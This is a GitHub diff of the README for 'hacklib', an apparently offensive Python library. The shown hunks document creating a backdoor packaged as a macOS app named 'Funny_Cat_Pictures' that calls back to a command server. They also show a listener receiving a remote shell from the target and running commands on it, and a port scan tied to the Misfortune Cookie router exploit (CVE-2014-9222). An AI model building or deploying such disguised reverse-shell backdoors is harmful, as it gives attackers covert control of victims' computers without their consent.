File tree Expand file tree Collapse file tree 1 file changed +6
-3
lines changed Expand file tree Collapse file tree 1 file changed +6
-3
lines changed Original file line number Diff line number Diff line change @@ -52,13 +52,16 @@ bd = hacklib.Backdoor()
52
52
bd.create(' 127.0.0.1' , 9090 , ' OSX' , ' Funny_Cat_Pictures' )
53
53
# Takes the IP and port of the command server, the OS of the target, and the name of the .app
54
54
```
55
+ Generated App:
56
+
57
+ ![ Screenshot] ( http://i.imgur.com/BsBzCWA.png )
55
58
56
59
Listen for connections with Server:
57
60
``` python
58
61
>> > import hacklib
59
- >> > s = hacklib.Server(9091 ) # Bind server to port 9091
62
+ >> > s = hacklib.Server(9090 ) # Bind server to port 9090
60
63
>> > s.listen()
61
- New connection (' 127.0.0.1' , 50011 ) # Prints this when a computer connects
64
+ New connection (' 127.0.0.1' , 50011 ) # Target ran the app (connection retried every 60 seconds)
62
65
bash: no job control in this shell
63
66
bash$ whoami # Type a command
64
67
leon
@@ -120,7 +123,7 @@ Misfortune Cookie Exploit (CVE-2014-9222) using PortScanner:
120
123
>> > ps = hacklib.PortScanner()
121
124
>> > ps.scan(' 192.168.1.1' , (80 , 81 ))
122
125
Port 80 :
123
- HTTP / 1.1 404 Not Found
126
+ HTTP / 1.1 200
124
127
Content- Type: text/ html
125
128
Transfer- Encoding: chunked
126
129
Server: RomPager/ 4.07 UPnP/ 1.0
You can’t perform that action at this time.
0 commit comments